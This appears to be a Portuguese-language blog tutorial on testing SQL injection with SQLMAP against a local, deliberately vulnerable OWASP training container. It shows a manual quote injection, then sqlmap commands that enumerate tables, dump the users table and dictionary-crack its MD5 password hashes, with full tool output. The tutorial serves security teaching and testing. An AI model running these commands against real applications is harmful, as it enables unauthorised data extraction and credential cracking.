SQL Injection: aprenda testes de segurança com SQLMAP

A formação de uma equipe responsável pelo tratamento de dados sensíveis nas empresas se torna cada vez mais essencial, tendo em vista a exposição frequente de casos divulgados na mídia decorrentes da divulgação não autorizada de dados pessoais e a sanção da Lei Geral de Proteção de Dados Pessoais (LGPDP), que passa a viger ainda em 2020. Por este motivo, produzi neste post um guia para você realizar seu primeiro teste de segurança com SQLMAP, utilizando a técnica SQL Injection.

Essa é mais uma oportunidade para tecnologistas fomentarem a qualidade de software nos times e projetos, tornando cada vez mais relevante compartilhar conhecimentos e boas práticas relacionadas a testes de segurança.

O que é SQL Injection?

SQL Injection é uma injeção de consultas. Ela é considerada uma ameaça de segurança por utilizar o conector ativo da aplicação com o banco de dados, aproveitando-se de parâmetros enviados a ele sem tratamentos de segurança para executar comando arbitrários (arbitrary code execution). Isso faz com que dados sigilosos do banco de dados como nome de usuários, senhas e nome de tabelas fiquem expostos.

Já o SQLMAP é uma ferramenta open source que possui um dicionário de retorno de consultas. O seu objetivo é identificar a versão e o tipo de base de dados utilizados pela aplicação, o que nos permite saber como explorá-la, automatizando uma série de comandos que seriam manuais.

Passo a passo: como testar uma aplicação com SQLMAP?

Preparando o ambiente de testes

Os comandos que vamos executar são atribuídos a OWASP, uma comunidade online que cria e disponibiliza gratuitamente conteúdos e ferramentas no campo da segurança de aplicações web

1) Digite os seguintes comandos no seu terminal para instalar o ambiente local de testes com docker:

sudo apt-get install docker-ce docker-ce-cli containerd.io
sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:sqli

2) Após digitar os comandos, você deve visualizar uma tela semelhante a esta:

Explorando vulnerabilidades manualmente

A primeira verificação que podemos realizar para identificar vulnerabilidades é identificar o modo que a aplicação se comporta com a injeção de caracteres especiais injetados como parâmetros. O teste a ser realizado será acessar uma página que esteja aguardando parâmetros. Com isso, podemos manipular esses parâmetros.

3) Copie o link http://0.0.0.0:5000/ contida na tela do passo 2 e cole no navegador para abrir o ambiente de teste.

4) Clique no primeiro link da página inicial (welcome) e encontre a seguinte url:

http://0.0.0.0:5000/home/1

5) Adicionar uma ‘ no final da url. O que estamos fazendo na prática é enviar um parâmetro que o backend não está esperando. O código ficará assim:

http://127.0.0.1:5000/home/1'

O código original do backend que recebe o ID da pagina do visitante neste caso 1 é:

'SELECT pageId, title, content FROM pages WHERE pageId='+pageId

Mas, devido a modificação, ele será interpretado pelo SQL da seguinte forma:

'SELECT pageId, title, content FROM pages WHERE pageId='1'

Essa interpretação causa um erro na interpretação do SQL e consecutivamente na aplicação, como pode ser observado na imagem a seguir:

Ao confirma que é possível realizar a manipulação do SQL, podemos realizar isso manualmente através da injeção de consulta ou utilizando um programa que automatize esse processo.

Explorando vulnerabilidades com SQLMAP

Uma ferramenta muito utilizada por hackers para injeção de dependências é o SQLMAP. Você pode realizar o download através do seguinte comando:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

Após isso, dentro do diretório ~/sqlmap-dev execute o comando:

./sqlmap.py -u http://0.0.0.0:5000/home/1 --dbs --tables

Durante a execução, o SQLMAP pode realizar alguma perguntas para melhor customizar a execução. Neste caso ele está avisando que a URL não está em um padrão conhecido, e se você deseja prosseguir, vamos digitar “Y”:

[WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q]

Por vezes pode ocorrer de ser detectado a existência de um webfirewall, perguntando novamente se você deseja prosseguir, digitaremos “Y”:

[22:57:18] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:57:18] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
are you sure that you want to continue with further target testing? [Y/n] 

Existem momentos que os comandos enviados pelo SQLMAP podem ocasionar erro 500 no retorno da execução da requisição enviada, clique em “C” para continuar.

[DEBUG] got HTTP error code: 500 ('INTERNAL SERVER ERROR')
[WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]

Neste ponto, ele encontrou um provável parâmetro que permite uma injeção de SQL, inclusive mencionado o tipo de banco da aplicação SQLITE. É perguntado se gostaríamos de continuar testando exploração para outros bancos de dados. Após, digitaremos “Y” pois já identificamos o tipo de banco de dados.

[INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'SQLite')
[19:15:32] [INFO] testing for SQL injection on URI parameter '#1*'
it looks like the back-end DBMS is 'SQLite'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

Como não informamos na execução inicial do script por parâmetro qual a profundidade do teste, será utilizado a configuração padrão, a qual está configurado para 1, o nível mais raso, então digitaremos “n”.

for the remaining tests, do you want to include all tests for 'SQLite' extending provided level (1) and risk (1) values? [Y/n]

Nossa ferramenta agora está relatando que recomenda a execução de testes UNION somente se uma potencial falha for encontrada. Assim, é perguntado se desejamos reduzir o número de requisições (para otimizar o tempo de execução do nosso teste. Logo após isso, digitaremos Y.

it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]

Nesse momento, encontramos um parâmetro vulnerável. É perguntado se você deseja testar outros parâmetros. Em seguida, digitaremos N, a fim de poupar tempo novamente, pois vamos explorar esse parâmetro em específico.

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

Retornando o tipo de base de dados e as tabelas dele:

Database: SQLite_masterdb
[2 table]
+-------+
| pages |
| users |
+-------+

Extraindo informações

Sabendo o nome da tabela, podemos executar o script novamente passando ela como parâmetro e especificando que queremos que retorne suas colunas (columns):

./sqlmap.py -u http://0.0.0.0:5000/home/1 -T users --batch --columns

O retorno foi:

Table: users
[3 columns]
+----------+------+
| Column   | Type |
+----------+------+
| Password | TEXT |
| UserId   | INT  |
| UserName | TEXT |
+----------+------+

Vendo que possuímos poucas colunas (e provavelmente poucos dados), podemos adicionar ao parâmetro –dump, para literalmente dumpear (trazer) todas informações do banco de dados para aquela tabela:

./sqlmap.py -u http://0.0.0.0:5000/home/1 -T users --dump

Por não encontrar nenhum parâmetro POST ou GET para a URL, ele pergunta se desejamos fazer injeção de código na própria url então digitaremos Y.

[23:07:54] [WARNING] you’ve provided target URL without any GET parameters (e.g. ‘http://www.site.com/article.php?id=1’) and without providing any POST parameters through option ‘–data’ do you want to try URI injections in the target URL itself? [Y/n/q]

Ao analisar os dados da tabela, foi identificado que existem possíveis hashes na coluna Password. É questionado se você quer armazenar ela para usar em alguma outra ferramenta ao fim do programa. Digitaremos N:

[19:40:20] [DEBUG] analyzing table dump for possible password hashes
[19:40:20] [INFO] recognized possible password hashes in column 'Password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]

O SQLPMAP já possui um dicionário de senhas e hashes mais utilizados. Ele pergunta se você quer utilizar um “brute force” utilizando esse dicionário interno. Digitaremos Y:

do you want to crack them via a dictionary-based attack? [Y/n/q]

Ele pergunta agora, se utilizaremos um dicionário padrão do SQLMAP ou um arquivo externo contendo essas possíveis senhas/hashes. Como utilizaremos o próprio SQLMAP, digitaremos 1.

[19:45:06] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/home/jonas/sqlmap-dev/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files

Então, o sistema pergunta se você deseja usar sufixos padrões para senhas, então digitaremos Y novamente:

do you want to use common password suffixes? (slow!) [y/N]

Após aguardar alguns minutos, conseguiremos crackear as senhas conforme o código abaixo:

[19:48:04] [INFO] cracked password 'Password2!' for user 'User'                               
Database: SQLite_masterdb
Table: users
[4 entries]
+--------+----------+-----------------------------------------------+
| UserId | UserName | Password                                      |
+--------+----------+-----------------------------------------------+
| 1      | Admin    | 0cef1fb10f60529028a71f58e54ed07b (Password1!) |
| 2      | User     | 022b5ac7ea72a5ee3bfc6b3eb461f2fc (Password2!) |
| 3      | Guest    | 94ca112be7fc3f3934c45c6809875168 (Password3!) |
| 4      | Plebian  | 0cbdc7572ff7d07cc6807a5b102a3b93 (Password4!) |
+--------+----------+-----------------------------------------------+

Você também pode utilizar o parâmetro  –batch para responder a todas as perguntas que respondemos de maneira automática.

./sqlmap.py -u http://0.0.0.0:5000/home/1 --dbs --batch --tables

./sqlmap.py -u http://0.0.0.0:5000/home/1 -T users --batch --columns

./sqlmap.py -u http://0.0.0.0:5000/home/1 -T users --batch --dump

Considerações finais

Parabéns! Você acaba de realizar o seu primeiro teste de segurança com SQL Injection e você nunca mais vai ver uma aplicação da mesma forma. 😃

Porém, vulnerabilidades sempre irão existir e descobrir elas antes que sejam exploradas por invasores é muito importante. Desta forma, reduzimos drasticamente os riscos e possíveis prejuízos sejam eles financeiros, de imagem ou até indisponibilidade da aplicação.

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *